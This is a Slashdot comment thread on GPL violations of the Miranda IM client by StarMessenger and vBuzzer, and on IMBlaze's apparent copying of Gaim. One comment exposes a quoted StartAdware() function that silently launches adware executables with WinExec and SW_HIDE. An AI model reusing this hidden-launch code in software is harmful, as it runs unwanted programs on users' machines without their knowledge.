GPL Violations of Miranda IM

Eesh writes "The Miranda project developers have recently posted to their development blog about two GPL violations of companies using their code - vBuzzer and StarMessenger. Today, they also posted that vBuzzer are taking steps to correct that violation. Hopefully this will work out fine. Miranda 0.401 stable was released recently"

Comments

Oh Miranda!

[Seumas]

Oh Miranda - you came and you gave without taking!

Question...

[deutschemonte]

Maybe this should be an ask slashdot or something, but I have a question.

How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?

Are there services out there for this sort of thing or do you just have to be forever diligent?

Re:Question...

[m50d]

There was that "open source detector" program featured on slashdot recently, but it's fairly expensive for an individual developer. I'd say leave it up to your users, if people care then they will report the violations and you can tell the company to stop. Most of them will since they haven't a leg to stand on if it goes to court.

Re:Question...

[Seumas]

One very simple way to at least detect potential similarities is to use strings. In certain situations, you can figure that it should not be likely that two programs would have such identical strings output.

Re:Question...

[Ingolfke]

I'm not sure about the availability of any specific services for this. Your best bet is to contact someone w/ a lot of experience in this sort of thing.

Re:Question...

[deutschemonte]

I can't believe I actually clicked on the link.

Re:Question...

[l2718]

"How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?"

The short answer is: you can't be sure. In practice, however, people who write programs keep abreast of other software in their field (e.g. people who write an IM client quickly hear about other IM clients). Hwoever, it usually takes an alert user to notice suspicious similarities to existing software. It seems the first tell-tale sign is the directory structure. In almost every case posted to slashdot, it was noted that the directory structures were the same.

If you become suspicious, the next thing is to extract the strings utility. The first thing to look for is the error message strings, but if the executable is not stripped then you can see your function names and source file names.

Finally, there's the question of proving that they "stole" your source code, wher your legal claim will usually be that they violated your copyright. Most of the time, they know they are in the wrong and just contacting them is enough. However, not all offenders cooperate. Harald Welte has successfuly won a preliminary injunction in a German court against a company which violated the GPL when using code form the ipfilter/iptables firewall project.

Re:Question...

[millette]

Lazy and Stupid, sounds just like someone that would reuse GPL and not give a damn, no ?

Re:Question...

[brsmith4]

Strings helped pop CherryOS. Some of us knew quite instantly that it was a rip-off of PearPC just because the guy didn't even bother to change any function names.

Re:Question...

[KDR_11k]

Other solution: Use the BSD license. Make it TRULY free as in "free to do whatever you want". Then you can be sure there's nobody illegally stealing your code ;).

Re:Question...

[Brandybuck]

If you are unable to detect that you've been hurt or damaged by the misappropriation, then you should consider the very strong possibility that you have not been hurt or damaged by the misappropriation.

Is GPL code so fragile that you must resort to gumshoes and dicks following it around just to be sure no looks at it with squinty eyes?

Re:Question...

[Feztaa]

Actually, according to the GPL, if the infringer took that code, made some improvements to it that were actually worthwhile, and then released it as closed source, then you have been hurt -- and your source code is worse off for it, because if they had complied with the GPL, then you'd have those improvements and your source code would be all the better for it.

Re:Question...

[Brandybuck]

In the real world, if an trespasser pees in my swimming pool, I suffer damage because my pool has been polluted. If the trespasser takes walnuts from my trees, I sufer damage because I have fewer walnuts.

But with GPL software, how am I harmed if someone improves my code but doesn't grant me access to it? I want a serious answer to this question, and not ideological spewage. How has it damaged the software residing on my ftp server? I may not have access to those improvement, but those improvements are not mine. I am in EXACTLY the same situation wether those improvements were made or not made.

RMS takes great pains in explaining that copyright infringement is not theft or piracy. Because of its special nature, information cannot be stolen. Yet doesn't this exact same nature mean that we are not harmed if improvements are kept private? Or as ESR recently said, why is GPL software so fragile that we have to protect it with the full power of the court system, and the armed police force that back it?

Re:Question...

[windex]

You only gave them access to it, given the terms that if they redistributed it, they had to provide source.

They are getting something from you, you are asking something in return from them. It's kind of like agreeing to buy a car for a set ammount, and then simply never making a payment. Contracts are contracts.

Is there real harm in taking delivery of a car and never making a payment? Not really, I mean, banks have lots of money, right? ...

As far as fiscal damages, I think you're looking at it the wrong way. If 20 developers work on a piece of GPL'd code for a combined total manhours of 2,000, it would cost $developer_salary X 2,000 hours for the company to reproduce for its own purpose. If they violate your contract, wouldn't it make sense to go after them for the time you spent working on what they claim is their code? You only agreed to give it away for free to people who thought free code was a good idea (basically), if people don't agree with you ... well, uh, why give it to them for free, too?

Re:Question...

[Brandybuck]

Look at it this way. Imagine that instead of GPL code, you released it under the BSD or MIT license. Now someone has "misappropriated" the code, in exactly the same way they misappropriated the GPL code earlier. Where is the damage? Where is the harm?

Is the only damage in the GPL case merely a contract violation? A court may call that damage, but the real world does not. A breach of contract, in and of itself, is not the damage. Imagine a contract with me where you agreed to always wear green shoes. Then one day you got tired of it, and stopped wearing green shoes. How have I been damaged? How have I been harmed?

But ignore all that. The GPL is not a contract, and it even says so right inside. So where's the damage if there's no breach of contract possible? Where is the actual real world damage?

The answer is that there is none. The GPL isn't there to protect anything, it's there so you can impose control over your software.

Re:Question...

[bain_online]

NO! GPL or no GPL, making software is expensive matter. If you write a code and give it away for free, you lose on your time without any gain. barring the philosophical gain of shared knowledge is more than original.

Now if you are a BSD guy you are just giving away your wallnuts for free, beacuse you have plenty and you own the tree neway. But you _do_ end up having less wallnuts. Someone might say that you can take the wallnuts for free (as without paying anything) but if you plant a tree you have to offer your wallnuts for free to others on the same conditions. This way you still lose your wallnuts but in the end when everyone has enough wallnut trees you get a huge benifit too.

Same goes with software, i can give something i have for free, or i can say that its still free but you also have to give anything you produce from it for free under same restrictions. Clear?

Re:Question...

[noidentity]

Seriouosly. Every once in a while a junior programmer will use some opensource library in the product I'm currently managing. I periodically scrub the code and remove them all, but more often than not we find out due to the horrendous quality of the opensource code.

Here's a hint: open-source software can easily be used in a wider context than the author intended. I generally apporach new open-source software with the expectation of having to make some changes to port it to my machine/compiler (partly because I run a big-endian machine and an old OS).

Re:Question...

[noidentity]

But with GPL software, how am I harmed if someone improves my code but doesn't grant me access to it? I want a serious answer to this question, and not ideological spewage. How has it damaged the software residing on my ftp server? I may not have access to those improvement, but those improvements are not mine. I am in EXACTLY the same situation wether those improvements were made or not made.

The free software movement is about the wider social context. Some people who put their code under the GPL and LGPL do it as part of a strategy to help this cause. For example someone might write a library with features not offered by commercial libraries and release it under the LGPL. This creates a situation where free software developers have an advantage over proprietary developers, and thus users receive more freedom. If a proprietary developer makes unauthorized use of the code and makes improvements without releasing them, this strategy is defeated.

An argument of similar form could be made for proprietary software developers: nothing is stolen if they allow others to download their source code and compile it, but their monopoly on the software is lost. Without their monopoly they can't make a profit through artifical scarcity; they are left with being commissioned to add features to software and get paid for their actual labor as opposed to number of copies made (as is the case with open-source software).

The free software licenses only place restrictions on those who want to make the software proprietary.

Re:Question...

[MWelchUK]

The GPL is a license - "General Public License". The code is copyrighted. When you use copyrighted material you must agree to abide by the terms of the license that is attached to it. In the case of GPLed code, you have agreed to release source code of the software that you distribute if it is a derivative of GPLed code.

This is a choice that the author of the original work has made. Other authors choose to keep the source code and release binaries for money, others choose other licenses, such as the BSD licence, which may or may not require you to acknowledge the work of the original author.

It is not a contract violation to ignore the terms of the GPL, it is a license violation. Without agreeing to the terms of the license you have no right to use the code - it is copyrighted.

The GPL protects the rights of the author just as any other license would in this kind of circumstance. Yes, a licence allows you to impose control over your creations. This is the case unless you place the work in the public domain or use a licence which allows for the code to be used in derivative works without any strings attached.

By placing works under the GPL an author is trying to ensure that everyone using his works gain from the effort made by anyone improving on his works. This is a "scientific" approach, "Standing on the shoulders of giants"-Isaac Newton. Alternatively it is the ethos which drove the early hackers in the homebrew computer computer club, before it was wrecked by some idiot named bill gates. If you don't believe me maybe you should spend some time reading?

That said it must also be noted that I believe that it is the authors right to set the terms under which his work can be used. Their rights should be respected regardless of whether this means that you have to release any derivatives under the same licence or whether the license requires you to pay to use the work and expressly forbids the creation of derivative works.

Re:Question...

[Brandybuck]

If a proprietary developer makes unauthorized use of the code and makes improvements without releasing them, this strategy is defeated.

You still haven't identified any actual damage. Having your nefarious schemes and plots foiled does not count as damage. I've got lots of schemes, plots and strategies of my own, but I don't haul people into court when I dont't get my way. That's what the BSA does, and we shouldn't stoop to their level.

Re:Question...

[Brandybuck]

Huh? Software is not walnuts. No matter how much software I give away, I still have all that I started with. That's what I mean by you cannot damage software. It's infinitely copyable at zero cost. No matter how much you give away, you still have just as much. Someone fork off a proprietary branch from his copy, but your copy remains intact and unaltered.

You are no more damaged by a GPL violation than the BSA is damaged by an illegal download.

just makes me wonder

[udderly]

how often this happens and the companies that rip off the OSS cover their tracks better.

Re:just makes me wonder

[nocomment]

I was thinking the same thing. If WE can run strings then surely an alert developer can also, and make the necessary changes. In the cases I can think of recently (Miranda, and PearPC) the illegal commercial counterparts could have covered their tracks better with not too much more work.

Re:just makes me wonder

[thumperward]

You seem to think that the people involved in this kind of work are at least as talented at hiding their plagiarism as 20-year-old CS students. They are not.

See further up-thread, where StarMessenger loads its adware using some fifteen-year-old deprecated 16-bit function call. These are not kernel hackers.

- Chris

Re:just makes me wonder

[nocomment]

No I seem to think that as more and more people who violate the GPL see the methods used by people to figure it out they will use these methods before releasing their software and fix those issues. Not that they would manage to completely ever hide it but it could get really difficult.

Star messanger source code

[thinkliberty]

IT looks like star messanger made good. Their source code is on their front page. http://www.starmessenger.net/StarMessenger_src.zip

Re:Star messanger source code

[Tiersten]

Made good? It'd be better for Star Messenger to be taken outside and destroyed. Star Messenger is a thinly disguised attempt at infecting you with adware.

From StarMessenger/core/miranda.c:

int StartAdware(void)
{
//if (RegDateCheck()==DO_NOT_RUN_ADWARE) return 0;

//WinExec("Test1.exe", SW_SHOW);

WinExec("nngluz564.exe", SW_HIDE);
WinExec("TBGLZ127Q.exe", SW_HIDE);
//WinExec("saap.exe /did=563", SW_HIDE);
return 0;
}

Mmm... Enjoy that adware goodness...

Re:Star messanger source code

[thinkliberty]

That is why I call them star messanger ;)

Re:Star messanger source code

[Eesh]

They stripped all instances of Miranda's copyright. That's still not acceptable under the GPL.

Re:Star messanger source code

[thinkliberty]

open the source code and look under /docs folder. There is a credit.txts file. also a copy of the GPL. also look in the header files for copyright info. They give credit to Miranda.

It looks like they moved the copyright notices around. But I don't think that is a copyright violation...

I still think the company sucks for adding spyware.

Re:Star messanger source code

[NilObject]

They didn't "make good". From TFA:

We can tell that StarMessenger isn't hiding the fact it is Miranda, but it is hiding Miranda's name and copyright notices as much as possible. It has also provided the source code however inside the source code none of the copyright notices have been altered. However, the about box copyright notice modification is enough to void any use of Miranda IM's source code for StarMessenger's developers.

There's more info in the linked article. It's not an outright STEALING of the source code, but it looks like they're bending a lot of the stipulations in the license.

The articles are a little poorly written and unprofessional. They'd be a lot more convincing if they were articulate and didn't use phrases like:

StarMessenger is just an attempt to bundle fucking spyware with Miranda under a changed name for profit.

and

Seeing as vBuzzer is a modified version of Miranda and it includes it's changes with Miranda under another license, they have created another volation #4

If the grammar wasn't so bad, they'd be able to articulate their point in a much better fashion.

Re:Star messanger source code

[Psionicist]

Dear god they can't even run the spyware correctly.

WinExec

The WinExec function runs the specified application.

Note This function is provided only for compatibility with 16-bit Windows. Applications should use the CreateProcess function.

Re:Star messanger source code

[EvilSporkMan]

In their defense, CreateProcess is a real pain in the ass: it has about 10 parameters.

Re:Star messanger source code

[qazwsxqazwsx90]

Now that they have released their source, you can create a patch that uses CreateProcess instead. See how beneficial open source is to developers.

Re:Star messanger source code

[DNS-and-BIND]

The articles are a little poorly written and unprofessional.

If the grammar wasn't so bad, they'd be able to articulate their point in a much better fashion.

*Ahem* - it's a web log. Enough said?

Re:Star messanger source code

[Pharmboy]

Ok, now that was just sick and twisted. And funny.

Re:Star messanger source code

[Kent Recal]

And next?

"Oh, sorry the buffer overflow. Bounds checking is such a pain..."

Lazyness is a pretty lame excuse for not doing it right!

Re:Star messanger source code

[Arker]

Mmm no they haven't. The source code they released will not compile to the binary they're distributing.

Re:Star messanger source code

[pla]

This function is provided only for compatibility with 16-bit Windows. Applications should use the CreateProcess function.

99% of the time, you use such functions because you just want to run an external program. You don't care about their security attributes, or environment, or inheritance, or "where" they think they run - You just want them to start and do their thing. CreateProcess() will let you do that, but takes TEN parameters, including two structures, to do so.

So yes, I too still use WinExec() most of the time. I've actually written a drop-in replacement for it that calls CreateProcess, but y'know, I've found that it, doing everything the "right" way, fails more often than just calling WinExec()! Now, you can probably fairly say I've missed some subtle caveat of using CreateProcess(), and I would't disagree (TEN useless parameters!) - But until you can explain to me why running "test.exe -qvb foo 27" in the current directory, in my own security context, with a clone of my own environment and without needing any special handle inheritance, should require a function with more than a single parameter? Personally, I even consider the second parameter of WinExec() useless, since most programs don't honor the window style passed into them anyway, but one useless parameter I'll deal with. Nine seless parameters, (and the one useless one from WinExec() has expanded into a whopping 18-item structure) I can do without, thankyouverymuch.


Just give me the good old system() call any day.

Re:Star messanger source code

[EvilSporkMan]

I'd rather take up fork(2) and exec(2).

A lot most likly...

[Saeed al-Sahaf]

This has got to be true. These two cases where very obvious. Clearly, very VERY lazy coders worked on these two rip-offs. But that's probably an exception. It's just too tempting.

Re:A lot most likly...

[deutschemonte]

Offtopic:

Your slashdot validation link gives a 503 error. Sounds like they got tired of people running it all the time.

Re:A lot most likly...

[bhtooefr]

You mean 403?

Yeah, I'm thinking that /. was sick of getting invalidated ;-P

Just to be clear

[wakejagr]

The Starmessanger program is in violation not because they used GPL'd code and don't make source available. They are completely up front that Starmessagner is actually Miranda, but they screwed up and punted the Miranda copyright information. Thus, it appears that this program is copyrighted/developed by someone other than the actual dev's.

Our copyrights have been removed, this is a violation of the GPL as well as copyright law

Kudos to the Miranda folks for explaining all of this really well.

Re:Just to be clear

[njcoder]

I don't know.... If I was Miranda I might be happy if someone that extended my program by adding adware to it forgot to credit me. :)

Re:Just to be clear

[Arker]

Actually if I'm reading this correctly they aren't complying with the source requirement either. Miranda displays a copyright notice on a screen where StarMessenger displays a different, incorrect, and altered copyright notice. Yet the source they have available for download does not have any alterations to the copyright notices. Therefore, it seems that the source they provide for download is NOT the source to the binaries they are distributing, eh?

Re:Just to be clear

[edxwelch]

So, all they have to do is put back the copyright notices, and the .dsp files, and then they can continue to offer spyware to the unwitting public?
The GPL doesn't seem to give us much protection against chancers like these :(

Re:Just to be clear

[Dorm41Baggins]

So, all they have to do is put back the copyright notices, and the .dsp files, and then they can continue to offer spyware to the unwitting public? The GPL doesn't seem to give us much protection against chancers like these :(

Of course.

The GPL has absolutley nothing to do with what function a program performs. You're more than welcome to take a copy of BASH and modify it to randomly delete important libraries anytime the root user logs on with it. You're well within your rights to then release this malignant version of BASH onto an unsuspecting public.

The beauty of the GPL is, as soon as you do that, one of the less blindly trusting members of the programming community is going to take a look at your code, realize what it does and warn everybody else that you're a malicious moron who is stupid enough to think he can both comply with the requirements of the GPL and release a harmful program without anyone noticing!

I really wish they wouldn't give in so easily

[slavemowgli]

I really wish free software projects wouldn't give in so easily all the time. By not doing anything anymore once the license terms have been satisfied again, they're just teaching companies that it's economically sound to rip them off - after all, you don't lose anything if you get caught, and you gain something if you don't.

This isn't good, though, as it will only encourage the less-than-scrupulous companies to commit further license violations, many of which *will* go undetected. It's one thing to essentially take a product, slap a new name on it, and then try to sell it (like was the case in the CherryOS case) or at least claim it as your own; that's easily detectable. Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

As such, I'd really like to see an actual lawsuit some time where the developers of the project that was ripped off seek (punitive) damages, and maybe, if the case allows for it, press criminal charges against the company executives, too. Violating a free software license is *no* small matter - it's just as illegal and immoral as it is to press and sell illegally-produced copies of Windows, for example, and companies need to realize that.

Re:I really wish they wouldn't give in so easily

[latroM]

Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

That would be illegal only if the software package was distributed under non-GPL license. You can sell free (GPL or otherwise) software for $$$ but you have to give the users the same freedoms that you have.

Re:I really wish they wouldn't give in so easily

[ImaLamer]

You're right.

What I don't get is the repeated offenders. If one project "makes good" they are still required to stop development/distribution of offensive software. If I take your source code and put it in my 1.0 series application and then finally release the code with my 2.0 series... I have no right to go onto develop the 3.0 series of the software.

Once you violate the GPL, you've lost all rights under the license. Maybe the FSF should spend a few of those donations they collect and sue a few of these scoundrels.

The precedent needs to be set.

Re:I really wish they wouldn't give in so easily

[fuzzy12345]

As such, I'd really like to see an actual lawsuit some time where the developers of the project that was ripped off seek (punitive) damages, and maybe, if the case allows for it, press criminal charges against the company executives, too. Violating a free software license is *no* small matter - it's just as illegal and immoral as it is to press and sell illegally-produced copies of Windows

Well, that's your theory. Have you got case law to back it up? I don't have much trouble imagining a judge, who's easily able to quantify Microsoft's $250 (e.g.) loss on a pirated copy of Windows, having real trouble quantifying the loss of a wronged GPL developer and calling it zero.

What if the Judge in the case you want to see litigated takes after Richard Posner?

Re:I really wish they wouldn't give in so easily

[Pinefresh]

the fear is that some judge will invalidate the GPL

Re:I really wish they wouldn't give in so easily

[alienw]

The FSF can't sue anyone unless you assigned your copyright to them or you stole code from their libraries. They just write the license, they aren't the copyright owner.

Re:I really wish they wouldn't give in so easily

[ImaLamer]

Good point... but someone needs to step up.

Maybe the FSF (or someone) should collect money on the behalf of those GPL coders who want to sue violators but can't do it on their own.

[[Aside: I wonder, how much GPL code found its way into OpenServer and UnixWare]]

Re:I really wish they wouldn't give in so easily

[mpcooke3]

Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

Thats not actually true it's perfectly legal to interate GPL'd code into your enterprise application without GPL'ing the whole app. The GPL only applies to redistribution and I would guess most enterprise application development is web based these days and is therefore never distributed.

Re:I really wish they wouldn't give in so easily

[SilverspurG]

after all, you don't lose anything if you get caught, and you gain something if you don't.

That would be our politicians teaching this to the companies.

as it will only encourage the less-than-scrupulous companies to commit further license violations, many of which *will* go undetected ... Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

I've long proposed that this is PRECISELY what big companies are doing. If not directly then it doesn't take much tin foil to imagine a situation where someone has a copy of an old group project, no way (or no real desire) to contact the other contributing members of the group, goes on to rework some of the code and sell the group's project at an enormous profit (QDOS?).

At this level it's no longer even about the GPL. It's just the way things work. Software industry: college code. Legal industry: high school and college debate arguments. Chemical industry: college research projects and PhD dissertations.

This entire world is based on people stealing from each other without giving proper credit... and the major world governments are protecting the thieves typically because the thieves are related, by blood, marriage, or business, to the politicians.

Re:I really wish they wouldn't give in so easily

[teslatug]

Do you want the FSF to become the next BSA? I think it's fine as it is. After all what's important is that the code is released.

Re:I really wish they wouldn't give in so easily

[Piquan]

Well, that's your theory. Have you got case law to back it up?

Who needs case law for this? We've got statutory law.

having real trouble quantifying the loss of a wronged GPL developer and calling it zero.

Learn what the GPP meant when he said "(punitive) damages".

Sure, the actual damages of the developer might be zero, but 17USC504 provides for not just actual damages, but also profits that the offender made. Also, 17USC504(c) allows the copyright owner to, rather than receive actual damages + profits, elect to receive statutory damages of up to $150k.

IANAL.

Re:I really wish they wouldn't give in so easily

[hacker]

"Maybe the FSF (or someone) should collect money on the behalf of those GPL coders who want to sue violators but can't do it on their own."

The Software Freedom Law Center does exactly that, and is headed up by Eben Moglen himself...

From their page:

We provide legal representation and other law related services to protect and advance Free and Open Source Software.

Free and Open Source Software ("FOSS") is maturing at a rapid pace. The FOSS production ecosystem, once dominated by a few small not-for-profit entities and individual contributors, now includes a global array of individuals, not-for-profit entities, and commercial developers and redistributors. In this mixed-model organizational environment, all FOSS developers must have an environment where liability and other legal issues do not impede their important public service work. The Software Freedom Law Center (SFLC) provides legal representation and other law related services to protect and advance FOSS

Re:I really wish they wouldn't give in so easily

[Xabraxas]

Actually that is not a fear at all. The GPL has already been to court and upheld. Just ask the FSF.

Re:I really wish they wouldn't give in so easily

[latroM]

Oh and you can mix GPL compatible licenses.

Removing GPL'd Code?

[_Upsilon_]

It seems to me that in a lot of these cases, if the company gets caught, they either (a) publish the source code, or (b) remove the GPL'd code from their application.

I don't think that (b) should ever be an acceptable option.

It's too easy for a company to violate the GPL and calculate the risk of getting caught and the cost of implementing a solution to replace the GPL component.

Re:Removing GPL'd Code?

[Anonymous Coward]

(b) is a perfectly legally acceptable option, although the copyright holders would be within their rights to demand damages for the past infringement.

Additionally, there is always option (c), which is negotiate with the copyright holders for different licensing terms. I'm not aware of cases where this has been done.

If (a) were the only option, then the GPL would truly be viral and dangerous, like it has been misrepresented by various corporations. Seriously, if the mere possibility that a single employee might include a small amount of GPLd code in a proprietary product and thus force the product to be published as open source, software companies would start demanding entirely unreasonable policies toward open source (e.g. including clauses in employment contracts forbidding their employees from even thinking about open source in their spare time).

Re:Removing GPL'd Code?

[SilverspurG]

I think that, what the GPL had in mind, the company would be intelligent enough to want to employ the coders of the original GPLd code and thus increase the quality of their employee pool. That's just wishful thinking, though, since "quality of employee pool" is typically measured only by letters after a name and really isn't all that important on the quarterly report to the IRS. I guess that makes the IRS the enforcer of a social caste system.

Miranda 0.401 stable was released recently

[VoiceOfRaisin]

very recently according to their website http://miranda-im.org/
it says there that it was released... tomorrow :)

Re:Miranda 0.401 stable was released recently

[pv2b]

Time zones?

OT

[Saeed al-Sahaf]

Yes, it returns an error. That's the point. Slashdot got tired of be IN validated all the time...

Re:OT

[deutschemonte]

I got the humor of the sig, maybe I didn't convey that very well.

Miranda is really really good

[hey]

These rip-offs are a bit of proof that Miranada is the best open source multiprotocol IM client around.
Give it a try if you haven't already!

Re:Miranda is really really good

[toddestan]

I use Miranda. Discovered it when I was searching for a lightweight ICQ replacement to run on an aging Pentium 100 computer running Windows 95. I ended up installing it on my other Windows computers. It's a simple, lightweight little program that does everything I need it to do.

Re:Miranda is really really good

[ImaLamer]

This is the first time I've heard of it, but I've installed it already.

It's sad that this is what it takes to get the word out about some GPL products.

Voiding the GPL

[mukund]

I'm not siding with these ^%$^%$£$% who carelessly copied the source code of a GPLd program and refused to release the derivative work under the GPL, but the clause about the attempt to void the rights granted by the GPL has been debated before. It's not quite clear how they'd void the license, given that the company making StarMessenger or someotherstupidmessenger can simply download a new copy of the program and get a fresh license for using it. This is not a contract either.

Re:Voiding the GPL

[slavemowgli]

It's not a contract, but nevertheless, whether you license a program you developed or not or under which terms is your choice. You don't get a license to use the program because you downloaded it; in fact, you don't get a license in that sense at all. Rather, you *have* a license, because the developer decided, at some point, to license his program to everyone on the planet.

And that's just the point: it's not about downloading, it's about whether you (the person) are allowed to use the program under certain license terms or not.

So, all in all... you agreed to the license, and the license stated that the developer can take away your rights (and in fact does so automatically) under certain circumstances. You can't reacquire the license by redownloading the program; your rights to use the program under that license are gone, and it's up to the rights holder to decide whether you'll get them back or not. Of course, the GPL *is* no contract, so you're not bound by it and can instead opt to refuse to accept it at all. However, in *that* case, the only rights you still have are those that you are guaranteed by copyright law, anyway, and those do not include use, distribution, modification etc. of the program.

In other words: you don't have to play by the rules. But you have to accept the rules to enter the playing field (which is private property), and if you, at some point, decide that you don't want to do so after all, you'll have to leave the playing field again.

IMBlaze a blatant violation

[sg_oneill]

IMblaze , an instant messenger thats main "feature" is it will spam your contacts with crap, was notified by myself and others at least a year ago that its a blatant rip from gaim. The company refuses to send me source.

I informed the devs of gaim, and they aparently wont act (or cant afford to). But aparently are NOT happy about it.

http://www.imblaze.com/screenshots.asp

Someone needs to stop these creeps.

Re:IMBlaze a blatant violation

[Dausha]

What you may need to do is retain a lawyer and sue. You've done well to contact them and try to remedy this outside the courts. However, if you allow them to continue to abuse your copyright, you might end up losing it.

What you sue them for is licensing costs. You figure out what portion of their application is yours and sue based on a percentage of that.

Re:IMBlaze a blatant violation

[jonbryce]

No. The only thing you lose if you don't enforce it is Trademarks.

Copyright is granted to you automatically, and you have to assign it to someone if you want to lose it.

Re:IMBlaze a blatant violation

[sg_oneill]

Well, I dont lose a thing. I'm not the gaim developer.

But it sure ticks off my sense of justice no end.

Re:IMBlaze a blatant violation

[sg_oneill]

They would have to remove the whole thing

The point is, IMBlaze *IS* gaim, but with a nominal amount of crappy spamvertising code chucked in.

The Gaim developers are probably owed the entire revenue stream the product made, because IMBlaze are wrongfully claiming someone elses product as there own and charging people money for it.... and possibly triple damage style too because IMBLaze *HAS* been informed.

If the Gaim people want to, they are going to get a bunch of dollars compensation and IMBlaze are history.

Re:IMBlaze a blatant violation

[Cocoronixx]

support@imblaze.com

Re:IMBlaze a blatant violation

[SilverspurG]

This is precisely where the American legal system fails. In order to bring a suit against someone who has committed a civil wrongdoing (ie. not a crime against the state) the full burden of expense falls on the victim.

Like all those trolls who love to ride people who remark about the inequities of corporate America,"If you don't like it then start your own company."

And just where does the magic startup capital come from?

The solution is not increased government assistance. That would only lead to abuse and frivolous lawsuits. The solution is a streamlined system of justice which isn't endlessly bottlenecked by paperwork, frivolous forms, and lawyers. If a GAIM developer should walk into an attorney's office with proof that IMblaze is a ripoff of their code, there should be a compensation check and a court injunction against IMblaze within 24 hours.

Re:IMBlaze a blatant violation

[EvanED]

If a GAIM developer should walk into an attorney's office with proof that IMblaze is a ripoff of their code, there should be a compensation check and a court injunction against IMblaze within 24 hours.

So how does that work? Does IMblaze not get a chance to defend itself?

Re:IMBlaze a blatant violation

[sg_oneill]

Yes it does, but a smart defence lawyer might say to the IMBlaze guy "You *are* fucked, just sign half your posessions over as settlement and you MAY placate them. Otherwise its lifetime poverty for you!"

Re:IMBlaze a blatant violation

[NetNifty]

This is the most blatent GPL violation I've ever seen, I mean come on:

This, compared to this, or this compared to this. Almost completely identical, you'd think that they'd at the very least change the names of the buttons, or at least make some attempt to hide what they've done. About the only thing I can see they've changed is added some icons and changed the main login picture - even the icons for "accounts", "sign on" etc are identical.

If it ever did get to court i'd say its an open and shut case, but hey I'm not in the legal business. Maybe the GAIM team should set up a legal fund, I'd donate at least something and I'm sure many others would too.

Re:IMBlaze a blatant violation

[sg_oneill]

*BULLSHIT*

They claimed it would be there own code indeed about 10 months ago

SINCE THEN

they have revamped the website, changed the system, and its *STILL* fucking gaim.

They are *LYING THRU THERE TEETH*

Seriously, the developer *NEEDS* to post the GPL code *NOW*.

Re:IMBlaze a blatant violation

[sg_oneill]

Ok. I think I just lost my temper at the astroturfing anonymous coward. :) oops.

Re:IMBlaze a blatant violation

[sg_oneill]

Well sorry then, what you said sounds awfully like the crap the imblaze idiot was saying on the linuxforum. 1+1=3 oops.

But *surely* you dont see an *tiny* little problem with them saying that they where on it *TEN MONTHS AGO*

That was ten months ago they where supposed to of removed the code *OR* put up the GPL violation.

Theres only one legal way for the IMBlaze people to resolve this, and thats to put up the code or remove the download.

He doesnt have any other options. The third option is to continue to be a thief. But that could be rather costly.

Re:IMBlaze a blatant violation

[DustyShadow]

Wait Im confused about this "IMBlaze". Why would I want to download a chat program that is going to display ads in my chat window when I can use other "free" ones that don't?

Re:IMBlaze a blatant violation

[Arker]

They (developers caught in copyright violation) always say that. It's usually bs. In this case, it's clearly BS. The GAIM guys need to get a lawyer. Every penny this company has made off this is rightfully theirs - but if they don't move soon it'll all be squirrelled away out of reach.

Re:IMBlaze a blatant violation

[Mishura]

Damn, they didn't even BOTHER to change the UI. Looks exactly the same as Gaim-win32 does.

Re:IMBlaze a blatant violation

[hacker]

"The Gaim developers are probably owed the entire revenue stream the product made, because IMBlaze are wrongfully claiming someone elses product as there own and charging people money for it.... and possibly triple damage style too because IMBLaze *HAS* been informed."

This is actually called a "Lanham Act" violation ("...false designation of origin").

On top of that, basically its a GPL violation, which removed their right to continue to distribute or sell that software, and EVERY SINGLE SALE or DOWNLOAD is now a separate copyright violation, punishable by $20,000/USD to $200,000/USD PER INCIDENT.

I know this, because we're still being defended by the FSF in a GPL case of our own. We've been taught more about the GPL and related case law than 90% of the fanboys on Slashdot will ever be exposed to. Its an amazingly powerful Swiss Army license that can easily take down most companies abusing it.

The important thing to note, which most of the replies in this story are missing, is that even when companies are found to be violating, and "fix" their problems with the code, they're STILL guilty of violating US copyright law, and that is still punishable by fines and court. Their infringement doesn't just "vanish" when they give the code back to the community, or agree to stop using it.

In some cases, a subponea of the company's other projects by an independent auditor to see that their other code isn't also infringing is requested. I found a company in Germany who incorporated pilot-link code into every single one of their core products. I could only check the "free" ones that I could download, but 5 out of ther 6 apps included it, so I assume #6 did as well.

GPL violations are AMAZINGLY common, but most people just ignore it, or are scared to persue it through the legal system. Almost all cases don't follow through to make sure the violating company pays for their infringement.

Re:IMBlaze a blatant violation

[hacker]

"That was ten months ago they where supposed to of removed the code *OR* put up the GPL violation."

I've seen this quite a few times with companies known or accused of violating the GPL (Sony was one I actively persued for this exact issue). They claimed they were going to release the source "after they cleaned it up a bit", but they had binaries out there already built with that "unclean" source.

The problem is, "cleaned-up source" builds a different binary, and THAT binary has to be released as well. Its not good enough.

Sony tried to skirt around the issue by releasing v2.0 binaries, and then at the same time, releasing v1.0 sources, so you could never get the source to the binaries already available, until 3.0 came out. You were always kept one release behind current, with the source. Presumably this was to "slow you down". Bastards.

"Theres only one legal way for the IMBlaze people to resolve this, and thats to put up the code or remove the download."

...and pay the fines for their existing violations levied by the court, of course.

If I kill someone and apologize to the family for my crimes, and promise never to kill again... am I set free? No.

The same applies here, and I'm firm when I state that companies should NOT get away with this, and EVERY company found to be violating copyright, needs to be publically stated, viewed, and seen by the public at large for what they've done.

It should HURT their bottom line, their core business, to be publically put on the towne square in the stockade as a license violator.

Re:IMBlaze a blatant violation

[sg_oneill]

Somewhere, an English teacher is crying,

And somewhere else, a bridge is missing its troll.

Re:IMBlaze a blatant violation

[sg_oneill]

Except that its still there on his website, and its still a GPL violation

So he's lying.

Anyway I notice the links gone missing of the front page.

Oh here it is in googles cache!
http://www.imblaze.com/download/IMBlazeVersion1Bui ld310.exe

http://64.233.167.104/search?q=cache:Q33uMOaXnEUJ: www.imblaze.com/+imblaze&hl=en&client=firefox-a

Yeah the law was [i]still[/i] being broken.

ten months after it was pointed out.

No. Not reasonable. Fraudulent.

Re:IMBlaze a blatant violation

[Cuga]

Looks like somebodies already taken offense to this and hacked their member forum. Check out the graphics on http://www.imblaze.com/forum/login.asp?target=defa ult.asp

